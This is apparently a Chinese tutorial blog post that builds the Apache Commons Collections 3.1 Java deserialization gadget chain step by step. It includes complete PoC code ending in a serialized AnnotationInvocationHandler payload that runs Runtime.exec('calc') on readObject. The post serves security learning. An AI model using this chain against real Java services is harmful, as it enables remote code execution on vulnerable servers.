0x00 前言
前面的几篇文章中,我们学习了java反射机制、RMI、动态代理以及java反序列化的流程,这些内容其实涉及的只是一些前置知识,不过也是比较关键的一些知识,能够为我们接下来分析各种漏洞以及利用链做好铺垫(网上很多文章都是直接从利用链开始谈起,对于我这样的新手太不友好)。从本篇文章开始,我将分析各种漏洞的利用链。
0x01 什么是利用链?什么是CC链
用p神的话:利⽤链也叫“gadget chains”,我们通常称为gadget。如果你学过PHP反序列化漏洞,那么就可以将 gadget理解为⼀种⽅法,它连接的是从触发位置开始到执⾏命令的位置结束,在PHP⾥可能 是 __desctruct 到 eval ;如果你没学过其他语⾔的反序列化漏洞,那么gadget就是⼀种⽣成POC的⽅法罢了。(之前我有学习过php反序列化的pop链,也正如这样描述的,以后有机会写篇文章分享一下)。
CC链作为java反序列化利用链的一种,是我们在学习java反序列化过程中不可跳过的一关。这里的CC是对Apache Commons Collections这个java第三方库的简称,它在java中提供了一些功能,可以更方便的管理Collection集合,因为方便,Commons Collections被广泛用于各种Java应用的开发,它提供很多强有力的数据结构类型,并且实现了各种集合工具类。其中反序列化漏洞就出现在这个库中,这意味着使用该库的漏洞版本的Java应用会面临反序列化漏洞的威胁。而我们的目的,就是研究这个库是如何产生并被利用反序列化漏洞的。
0x02 环境搭建
对于利用链这块,网上文章很少有讲环境搭建的,导致我环境搭建就花了好长时间。。。
首先是环境要求:
jdk1.7版本,这里我下载的是这个安装包:jdk-7u80-windows-x64.exe
本文要研究的CC链:apache commons collection 3.1版本
IntelliJ IDEA
准备好后,在IDEA里新建一个项目,选择安装好的jdk1.7。
然后进入文件->项目结果->模块
,在创建好的项目下选择依赖
,点击+
号,然后选择1 JAR或目录……
接着就是选择下载并解压好的commons collection 3.1文件夹下的jar包:
导入后,就可以在项目的外部库中看到这个CC jar包了。
0x03 分析
前置知识点
前面介绍Commons Collections时说过,这个包提供很多强有力的数据结构类型,并且实现了各种集合工具类,其中我们需要关注的一个功能是:
Transforming decorators that alter each object as it is added to the collection
转化装饰器:修改每一个添加到collection中的object
在Commons Collections包中实现了一个TransformedMap类(org.apache.commons.collections.map.TransformedMap
),该类是对Java标准数据结构Map接口的一个扩展,该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入。
org.apache.commons.collections.Transformer
这个类可以满足固定的类型转化需求,其转化函数可以自定义实现,我们的漏洞触发函数就是在于这个点。
包括TransfomedMap在内,我们在构造利用链时要用到如下Class:
- InvokerTransformer
- ChainedTrasnformer
- ConstantTransformer
- TransformedMap
- AnotationInvocationHandler
我们现在的目的就是执行Runtime.getRuntime().exec("calc");
语句
那我们按照顺序一一来看。
1. InvokerTransformer
该类位于org.apache.commons.collections.functors
中,我们重点看其中的transform方法(只看重点部分):
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} //省略
}
}
在该方法中,显示通过input
的getClass()
方法获得Class对象,然后获取Class中的method(this.iMethodName, this.iParamTypes)
,再method.invoke(input, this.iArgs)
触发方法。那么我们是否可以控制这些变量来完成一个反射呢?
InvokerTransformer有两个构造方法,其中一个可以让我们传入以上需要用到的iMethodName,iParamTypes,iArgs
,即方法名、参数类型和参数本身
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
那么我们可以通过传入恶意的一些参数,从而利用反射达到RCE的效果,比如我们构造如下RCE:
package Anchor;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.InvocationTargetException;
public class Test {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
// 创建invokerTransformer,并利用其构造函数对其成员变量iMethodName、iParamTypes、iArgs进行赋值
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
// 构造input - 这里我们需要一个Runtime Object, 用Runtime.getRuntime()的返回值可以得到
Object input = Class.forName("java.lang.Runtime").getDeclaredMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"), null);
// 执行payload
invokerTransformer.transform(input);
}
}
成功弹出计算器:
虽然成功RCE,但这还远没有接近真实场景,下面我们模拟一下客户端和服务器之间序列化和反序列化的过程(为了简便,客户端和服务端我就写到一个类里了):
需要注意的是,InvokerTransformer类实现了Serializable接口,所以该类是可以序列化的。
package Anchor;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
public class Test {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {
/*
* 客户端构造payload,并序列化文件
* */
//首先创建invokerTransformer,并利用constructor对iMethodName、iParamTypes、iArgs进行赋值
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
//序列化,将构造的恶意类实例写入到payload.bin文件中
FileOutputStream fileOutputStream = new FileOutputStream("payload.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(invokerTransformer);
objectOutputStream.flush();
objectOutputStream.close();
fileOutputStream.close();
/*
* 服务端反序列化读取,并执行payload
* */
//反序列化
FileInputStream fileInputStream = new FileInputStream("payload.bin");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
InvokerTransformer inv = (InvokerTransformer) objectInputStream.readObject();
//构造input - 这里我们需要一个Runtime Object, 用Runtime.getRuntime()的返回值可以得到
Object input = Class.forName("java.lang.Runtime").getDeclaredMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"),null);
//执行payload
inv.transform(input);
}
}
运行后一样成功弹出计算器。
如果我们直接利用这处反射机制作为漏洞的话,则需要服务端的开发人员“帮助”我们做以下事情才能触发漏洞:
- 把反序列化后的Object强制转化为InvokerTransformer类型
- 构造Input - Runtime实例
- 刻意执行InvokerTransformer中的transform方法,并将Runtime实例以方法参数传入。
实际中会有开发人员这么好心帮我们把这些都实现了吗?显然不会(除非开发人员自己人,hh)
所以现在我们就面临一些问题:
payload肯定要在客户端刻意自定义构造,再传输进入服务端
服务端需要把我们输入exp反序列化成一个在代码中可能使用的类,并且在代码正常操作中会调用这个类中的一个可出触发漏洞的函数(当然这个函数最后会进入我们InvokerTransformer类的transform函数,从而形成命令执行),如果这个反序列化的类和这个类触发命令执行的方法课可以在一个readObject复写函数中恰好触发,就对于服务端上下文语句没有要求了!
所以接下来我们就一个一个解决上述问题,首先是客户端自定义payload,即input参数的问题,这时要用到下面这个类。
2.ChainedTransformer
该类同样也位于org.apache.commons.collections.functors
包中,使用它我们就可以自己来写input参数,自定义payload
在ChainedTransformer类中,也有一个transform方法,我们定位到它的源码:
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
它循环遍历了iTransformers
数组中的每一个元素,每一次循环,它都会把该元素.transform(object)
的结果(一个对象)赋值给object
,并返回。这意味着,下一个元素执行的transform()
方法中的参数就是上一个元素执行transform()
方法的返回值,如此一来就是串行传递执行结果。
我们需要确定iTransfomers
这个数组中的内容是否是我们可以自主控制的,定位到其构造函数中看看这个成员变量的来历:
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
显然我们是可以自定义该变量的内容的,又因为之前我们看到,InvokerTransformer
不仅implements
了Serializa
接口,也implements
了Transformer
接口,那么InvokerTransformer
的实例对象也是可以放在这个iTransfomers
这个数组中的(不明白的去巩固巩固java基础)
所有就有下面的想法:让我们构造的input
(Runtime实例)作为第一个遍历元素的返回值,再执行第二个元素的transform时,刚好就传入了input这个参数了。
但问题是,怎么让我们构造的input
(Runtime实例)能被Transformer
类或其子类的transform()
方法中的返回呢?接下来就引入ConstantTransformer
类
3. ConstantTransformer 类
该类也位于org.apache.commons.collections.functors
包中,它同样也implements
了Transformer
类的,所以可以被放进Transformer[]
数组,同样也有我们想要的transform()
方法。顾名思义,该类其实只会存放一个常量;它的构造函数会写入这个变量,它的transform函数又会返回这个变量,其中构造函数和transform方法的源码如下:
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
我们可以在构造函数中将Runtime.getRuntime()
得到的Runtime实例传给iConstant,这样链就连起来了:
package Anchor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
public class Test {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {
/*
* 客户端构造payload,并序列化文件
* */
Transformer[] transformers = new Transformer[]{
//返回input(即Runtime实例),并将它作为下面的transform()的方法参数传入
new ConstantTransformer(Runtime.getRuntime()),
//创建invokerTransformer,并利用构造方法对iMethodName、iParamTypes、iArgs进行赋值
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
//将上面的数组用chainedTransformer串起来,数组里的transformer会被挨个执行transform()方法
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//序列化
FileOutputStream fileOutputStream = new FileOutputStream("payload.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(chainedTransformer);
objectOutputStream.flush();
objectOutputStream.close();
fileOutputStream.close();
/*
* 服务端反序列化读取,并触发漏洞
* */
//反序列化
FileInputStream fileInputStream = new FileInputStream("payload.bin");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
ChainedTransformer inv = (ChainedTransformer) objectInputStream.readObject();
//触发漏洞
inv.transform("Anchor");//这里任何值都可以,因为ConstantTransformer.transform(object)中的object中没有被用到
}
}
该程序运行后直接报错,产生以下错误:
也就是说,Runtime类是不可以序列化的,我们看它的源码可以发现并没有实现Serializa
接口,而我们是直接将通过Runtime.getRuntime()
得到的Runtime实例序列化,所以产生错误。
那么就另辟蹊径,我们通过反射方式获取Runtime实例,让服务端在反序列化时自己生成Runtime实例:
package Anchor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
public class Test {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {
/*
* 客户端构造payload,并序列化文件
* */
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),//返回Runtime Class
//获取getRuntime方法
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
//call getRuntime方法得到Runtime实例
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
//创建invokerTransformer,并利用构造方法对iMethodName、iParamTypes、iArgs进行赋值
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
//将上面的数组用chainedTransformer串起来,数组里的transformer会被挨个执行transform()方法
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//序列化
FileOutputStream fileOutputStream = new FileOutputStream("payload.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(chainedTransformer);
objectOutputStream.flush();
objectOutputStream.close();
fileOutputStream.close();
/*
* 服务端反序列化读取,并触发漏洞
* */
//反序列化
FileInputStream fileInputStream = new FileInputStream("payload.bin");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
ChainedTransformer inv = (ChainedTransformer) objectInputStream.readObject();
//触发漏洞
inv.transform("Anchor");//这里任何值都可以
}
}
成功弹出计算器!
看到这里我是真的很佩服构造这个利用链的大佬,能够构造地这么巧妙!
不过还没完,就这样漏洞触发的条件依旧苛刻,仍需要开发者在服务端将object转换为ChainedTransformer
类型,且执行transform
方法,我们还需要进一步扩大漏洞触发范围。
4 TransformedMap类
前面也提到过该类,该类是对 Java 标准数据结构 Map
接口的一个扩展,该类位于org.apache.commons.collections.map
包中
该类中我们可以看到以下方法:
protected Object transformKey(Object object) {
//若keyTransformer不为null,则执行其transform方法
return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}
protected Object transformValue(Object object) {
//若valueTransformer不为null,则执行其transform方法
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}
put()
虽然前三个方法中都有我们想要的调用transform方法,但是由于属性均为protected,非子类的话,是无法被外界访问的。不过可以借助第四个方法————put()
,该方法中就调用了前面两个方法,那也就可以间接调用transform方法了。
那么问题来了,其中的keyTransformer和valueTransformer是否是我们可控的?
还是一样的,跟进到构造函数中一探究竟。
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
我们可以看到,构造函数的属性也是protected
,也就是说,在别的包中,我们是无法通过new来实例化一个TransformedMap类的对象的,那也就是说,无法通过该处构造函数实现传入构造的利用链了。那就没办法了不?
我们把目标锁定在另外的一个静态方法decorate()
上:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
可以看到该静态方法可以直接返回一个TransformedMap实例,并且该静态方法是public
属性,那么问题迎刃而解了,我们可以TransformedMap.decorate()
来获取一个TransformedMap
实例,其中的keyTransformer或是valueTransformer参数处传入我们构造好几次的transformer链,那么接下来poc改造如下:
package Anchor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {
/*
* 客户端构造payload,并序列化文件
* */
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),//返回Runtime Class
//获取getRuntime方法
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
//call getRuntime方法得到Runtime实例
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
//创建invokerTransformer,并利用构造方法对iMethodName、iParamTypes、iArgs进行赋值
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
//将上面的数组用chainedTransformer串起来,数组里的transformer会被挨个执行transform()方法
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("123","456");
Map myMap = TransformedMap.decorate(map, null, chainedTransformer);//final malicious map
//序列化
FileOutputStream fileOutputStream = new FileOutputStream("payload.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(myMap);
objectOutputStream.flush();
objectOutputStream.close();
fileOutputStream.close();
/*
* 服务端反序列化读取,并触发漏洞
* */
//反序列化
FileInputStream fileInputStream = new FileInputStream("payload.bin");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
Map mapObj = (Map) objectInputStream.readObject();
//触发漏洞
mapObj.put("anchor","anch0r");
}
}
nice,计算器还是照常弹出。
到了这一步,漏洞的范围就很大了,因为已经接触到我们常用的Map数据结构和其put()方法了。但这还是不太理想,我们更理想化的攻击方式是,服务器端只要反序列化readObject()
就能触发反序列化漏洞。可惜的是,安全研究的大佬们发现并未有满足重写了readObject()
方法且方法内可以调用MapObj.put()
方法条件的Class。
checkSetValue()
注意到上面这个poc只是利用了其中我提到的transformKey
、 transformValue
以及put
方法,其中有个方法我还没提,就是checkSetValue()
方法:
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
这里面也调用了我们想要的transform方法,但是该方法也是protected属性来修饰的,不能直接利用,我们可以看看其他有哪个地方调用了这个checkSetValue
方法。该方法其实是由TransformedMap
继承自AbstractInputCheckedMapDecorator
类,我们就先跟进这个类中看看。
在该类中又有个MapEntry
类,其中setValue
方法中调用了checkSetValue方法。
显然,现在我们只需要确保this.parent
指向的是TransformedMap
类的对象就可以了。那就继续看看this.parent
在哪些地方被赋值了。、
可以看到分别可以在当前类文件的EntrySetIterator
类和EntrySet
类的构造函数中赋值:
但这是不同Class的parent
,我们需要的是MapEntry
里的parent
,继续查看代码,发现:EntrySetIterator
中的next()方法会将自身的parent
传入MapEntry
,而EntrySet
的iterator
方法又会创建一个新的EntrySetIterator
,将它的parent传入EntrySetIterator
,这样就连起来了 new EntrySet(set,parent).iterator().next()
就能够传入我们的parent:
接着我们发现,AbstractInputCheckedMapDecorator
里还有一个entrySet()
,因为我们的TransformedMap
就是它的子类,所以我们可以直接用我们的TransformedMap
去调用这个方法,一切就连起来了。
public Set entrySet() {
return (Set)(this.isSetValueChecking() ? new EntrySet(super.map.entrySet(), this) : super.map.entrySet());
}
于是POC改造:
package Anchor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {
/*
* 客户端构造payload,并序列化文件
* */
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),//返回Runtime Class
//获取getRuntime方法
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
//call getRuntime方法得到Runtime实例
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
//创建invokerTransformer,并利用构造方法对iMethodName、iParamTypes、iArgs进行赋值
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
//将上面的数组用chainedTransformer串起来,数组里的transformer会被挨个执行transform()方法
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("123","456");
Map myMap = TransformedMap.decorate(map, null, chainedTransformer);//malicious map
Map.Entry finalMap = (Map.Entry) myMap.entrySet().iterator().next();//传入parent
//序列化
FileOutputStream fileOutputStream = new FileOutputStream("payload.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(finalMap);
objectOutputStream.flush();
objectOutputStream.close();
fileOutputStream.close();
/*
* 服务端反序列化读取,并触发漏洞
* */
//反序列化
FileInputStream fileInputStream = new FileInputStream("payload.bin");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
Map.Entry entry = (Map.Entry) objectInputStream.readObject();
entry.setValue("Anch0r");//触发漏洞
}
}
这里又发现了NotSerializableException错误,其中的MapEntry
是不可序列化的。
这里就不通过序列化和反序列化表现了,直接删除序列化和反序列化的代码查看结果:
package Anchor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {
/*
* 客户端构造payload,并序列化文件
* */
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),//返回Runtime Class
//获取getRuntime方法
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
//call getRuntime方法得到Runtime实例
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
//创建invokerTransformer,并利用构造方法对iMethodName、iParamTypes、iArgs进行赋值
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
//将上面的数组用chainedTransformer串起来,数组里的transformer会被挨个执行transform()方法
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("123","456");
Map myMap = TransformedMap.decorate(map, null, chainedTransformer);//malicious map
Map.Entry finalMap = (Map.Entry) myMap.entrySet().iterator().next();//传入parent
finalMap.setValue("anch0r");
}
}
成功弹窗!
5. AnotationInvocationHandler类
AnotationInvocationHandler
类不是Commons Collections
包中的内容了,它是jdk包中自带的类,位于sun.reflect.annotation.AnotationInvocationHandler
,这个类很完美,因为它有一个自己的readObject
方法,就是说该类可以配合实现反序列化漏洞。
我们就先来分析它的readObject
方法的源码:
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;//var2代表AnnotationType(注释类型) -》 为空
try {
var2 = AnnotationType.getInstance(this.type);//根据【this.type】给var2赋值为一个实例
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();//var3为var2 Annotation中的[value:ElementType]
Iterator var4 = this.memberValues.entrySet().iterator();//*****var4会直接将memberValues自身作为parent传入,和第五步我们自己构造的一模一样!!!如果没看懂的,建议看第五步仔细阅读。
while(var4.hasNext()) {//如果var4中还有下一个key-Value对
Entry var5 = (Entry)var4.next(); //获取下一个key-value对,并赋值给var5
String var6 = (String)var5.getKey();//获取var5的key
Class var7 = (Class)var3.get(var6);//在var3中查看有没有这个key,把结果赋值给var7
if (var7 != null) {//如果var3中有这个key
Object var8 = var5.getValue();//获取这个key-Value对中的value
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
//*****如果var7不是var8(value)的实例,而且 value不是ExceptionProxy的实例,call var5(Map)的setValue()方法
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
我们看到了熟悉的this.memberValues.entrySet().iterator();
,在后面还有setValue()
,这已经足够我们利用了。上面代码comment
中的【this.type】
和【this.memberValues】
都是可控的,在构造方法中可以传入,那么顺便看看其构造方法源码:
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
memberValues
我们赋值为TransformedMap.decorate()
的返回值,那type
呢?我们可以发现type
是一种Annotation
(注释),如果大家有学习过SpringBoot或Spring
的话,就会理解Annotation
的意义。所以此处我们是要传一个Annotation的Class过去。再看readObject()
中的逻辑:
...
var2 = AnnotationType.getInstance(this.type);//根据【this.type】给var2赋值为一个Annotation实例(实际会获取到注解的各种属性,包括注解元素,注解元素的默认值,生命周期,是否继承等等。)
Map var3 = var2.memberTypes();//var3为var2 Annotation中的[value:ElementType]
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next(); //获取下一个entry
String var6 = (String)var5.getKey();//获取var5的key
Class var7 = (Class)var3.get(var6);//在var3 memberTypes中查看有没有这个key,把结果赋值给var7
if (var7 != null) {//如果var3 memberTypes中有这个key
Object var8 = var5.getValue();//获取这个key-Value对中的value
if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
//*****如果var7不是var8(value)的实例,而且 value不是ExceptionProxy的实例,触发漏洞
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
我们传入的这个type需要有memberTypes
,且我们的map中的key必须要和memberTypes
的key保持一致。跟踪Annotation
这个Class
,我们可以发现所有Annotation
的class。
这里我们可以简单分析一下:
@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Target {
ElementType[] value();
}
此处Target
的memberTypes
就是 [value:ElementType]
=》 key-value的形式。
@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Retention {
RetentionPolicy value();
}
此处Retention
的memberTypes
就是 [value:RetentionPolicy]
=》 key-value的形式`。
这些Annotation
的元注解都可以通过@
符号来调用,例如@Target
因此我们可以选择传入Target.class
或者Retention.class
, map
的key
值为value
。
package Anchor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class Test {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, IOException {
/*
* 客户端构造payload,并序列化文件
* */
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),//返回Runtime Class
//获取getRuntime方法
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
//call getRuntime方法得到Runtime实例
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
//创建invokerTransformer,并利用构造方法对iMethodName、iParamTypes、iArgs进行赋值
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
};
//将上面的数组用chainedTransformer串起来,数组里的transformer会被挨个执行transform()方法
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value","anyContent");
Map myMap = TransformedMap.decorate(map, null, chainedTransformer);//malicious map
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");//反射获取该类
Constructor<?> aConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);//获取构造方法
aConstructor.setAccessible(true);//取消构造方法限制
Object o = aConstructor.newInstance(Target.class, myMap);//传入参数和malicious map
//序列化
FileOutputStream fileOutputStream = new FileOutputStream("payload.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(o);
objectOutputStream.flush();
objectOutputStream.close();
fileOutputStream.close();
/*
* 服务端反序列化读取,并触发漏洞
* */
//反序列化
FileInputStream fileInputStream = new FileInputStream("payload.bin");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();//触发漏洞
}
}
最后成功弹出计算器
0x04 小结
在学习利用链之前我总是在想,为啥大佬们要大费周章花很多心思来搞这么长的利用链?学完CC链的原理之后我明白了,在构造利用链时,他们肯定是在一步一步思索,怎么才能使漏洞的利用需要的条件更低,而接触范围更大等等,解决的办法也就是不断寻找其他突破口,去看其他的类,其他的方法来曲线救国,我想这也是我们在平常学习安全时所需要的能力,要学会不断去探索新的方法、新的可能性。
参考文章:
Java安全漫谈